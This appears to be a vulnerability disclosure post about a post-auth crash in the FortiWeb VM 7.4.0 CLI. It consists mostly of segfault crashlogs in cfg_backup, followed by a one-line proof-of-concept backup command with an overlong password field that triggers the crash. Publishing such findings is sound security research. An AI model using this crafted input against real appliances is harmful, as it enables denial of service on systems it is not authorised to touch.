FortiWeb VM 7.4.0 build577 CLI Crash

`;;   
;; FortiWeb VM (v7.4.0 build577) Post-auth CLI Crash  
;;   
;; (...)  
;;   
;; code610 / some debug notes fyi  
;;   
;; 17.11.2023 @ 23:33  
;;   
  
FortiWeb # diagnose debug crashlog show  
2023-11-16 05:07:00 <004315> application cli  
2023-11-16 05:07:00 <004315> *** signal Segmentation fault received ***  
2023-11-16 05:07:00 <004315> RIP 00007fdd1febf44f  
2023-11-16 05:07:00 <004315> EFLAGS 0000000000010206  
2023-11-16 05:07:00 <004315> RAX 0000000000000000  
2023-11-16 05:07:00 <004315> RBX 0000000000000005  
2023-11-16 05:07:00 <004315> RCX 00005642dd55d4b1  
2023-11-16 05:07:00 <004315> RDX 00007ffca74d8ff0  
2023-11-16 05:07:00 <004315> RSI 0000000000000000  
2023-11-16 05:07:00 <004315> RDI 00007ffca74d82d0  
2023-11-16 05:07:00 <004315> RBP 0000000000000000  
2023-11-16 05:07:00 <004315> RSP 00007ffca74d8208  
2023-11-16 05:07:00 <004315> CS 0000  
2023-11-16 05:07:00 <004315> GS 0000  
2023-11-16 05:07:00 <004315> FS 0033  
2023-11-16 05:07:00 <004315> Trap 000000000000000e  
2023-11-16 05:07:00 <004315> Error 0000000000000006  
2023-11-16 05:07:00 <004315> Oldmask 0000000000000000  
2023-11-16 05:07:00 <004315> CR2 00007ffca74d9020  
2023-11-16 05:07:00 <004315> [0x00007fdd1febf44f] ==> /lib64/libc.so.6 + 0x000000000013d44f)  
2023-11-16 05:07:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)  
2023-11-16 05:07:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)  
2023-11-16 05:07:38 <004315> application cli  
2023-11-16 05:07:38 <004315> *** signal Segmentation fault received ***  
2023-11-16 05:07:38 <004315> RIP 00007fdd1fec034f  
2023-11-16 05:07:38 <004315> EFLAGS 0000000000010206  
2023-11-16 05:07:38 <004315> RAX 0000000000000000  
2023-11-16 05:07:38 <004315> RBX 0000000000000006  
2023-11-16 05:07:38 <004315> RCX 00005642dd55403b  
2023-11-16 05:07:38 <004315> RDX 00007ffca74d8fe0  
2023-11-16 05:07:38 <004315> RSI 0000000000000000  
2023-11-16 05:07:38 <004315> RDI 00007ffca74d82d0  
2023-11-16 05:07:38 <004315> RBP 0000000000000000  
2023-11-16 05:07:38 <004315> RSP 00007ffca74d8208  
2023-11-16 05:07:38 <004315> CS 0000  
2023-11-16 05:07:38 <004315> GS 0000  
2023-11-16 05:07:38 <004315> FS 0033  
2023-11-16 05:07:38 <004315> Trap 000000000000000e  
2023-11-16 05:07:38 <004315> Error 0000000000000006  
2023-11-16 05:07:38 <004315> Oldmask 0000000000000000  
2023-11-16 05:07:38 <004315> CR2 00007ffca74d9010  
2023-11-16 05:07:38 <004315> [0x00007fdd1fec034f] ==> /lib64/libc.so.6 + 0x000000000013e34f)  
2023-11-16 05:07:38 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)  
2023-11-16 05:07:38 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)  
2023-11-16 05:08:00 <004315> application cli  
2023-11-16 05:08:00 <004315> *** signal Segmentation fault received ***  
2023-11-16 05:08:00 <004315> RIP 00007fdd1febf284  
2023-11-16 05:08:00 <004315> EFLAGS 0000000000010246  
2023-11-16 05:08:00 <004315> RAX 0000000000000000  
2023-11-16 05:08:00 <004315> RBX 0000000000000006  
2023-11-16 05:08:00 <004315> RCX 00005642dd558a80  
2023-11-16 05:08:00 <004315> RDX 00007ffca74d9030  
2023-11-16 05:08:00 <004315> RSI ffffffffffffffc0  
2023-11-16 05:08:00 <004315> RDI 00007ffca74d82d0  
2023-11-16 05:08:00 <004315> RBP 0000000000000000  
2023-11-16 05:08:00 <004315> RSP 00007ffca74d8208  
2023-11-16 05:08:00 <004315> CS 0000  
2023-11-16 05:08:00 <004315> GS 0000  
2023-11-16 05:08:00 <004315> FS 0033  
2023-11-16 05:08:00 <004315> Trap 000000000000000e  
2023-11-16 05:08:00 <004315> Error 0000000000000006  
2023-11-16 05:08:00 <004315> Oldmask 0000000000000000  
2023-11-16 05:08:00 <004315> CR2 00007ffca74d9000  
2023-11-16 05:08:00 <004315> [0x00007fdd1febf284] ==> /lib64/libc.so.6 + 0x000000000013d284)  
2023-11-16 05:08:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)  
2023-11-16 05:08:00 <004315> [0x00007fdd21329ae3] => /lib64/libconfd.so (cfg_backup+0x00000193)  
  
  
FortiWeb # ;; version: FortiWeb VM (v7.4.0 build577)   
  
  
  
;; quick poc:  
  
fgweb_cli> execute backup cli-config tftp SOMEFILENAME 1.1.1.1 PASSWD_LEN_IS_OUR_CRASHER   
  
;;   
;; https://code610.blogspot.com/search?q=fortigate  
;;   
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